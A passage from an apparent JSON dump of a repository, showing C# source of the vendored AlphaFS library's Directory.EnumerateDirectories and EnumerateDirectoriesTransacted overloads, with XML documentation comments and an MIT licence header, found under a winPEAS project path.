cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, searchOption, null, null, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, searchOption, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, options, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, options, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, null, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectories(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectories(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, null, path, searchPattern, null, options, filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateDirectoriesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\nusing SearchOption = System.IO.SearchOption;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory instances that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateDirectoriesTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(true, transaction, path, searchPattern, null, null, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory names that match a <paramref name=\"searchPattern\"/> in a specified <paramref name=\"path\"/>, and optionally searches subdirectories.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the directories in the directory specified by <paramref name=\"path\"/> and that match the specified <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception 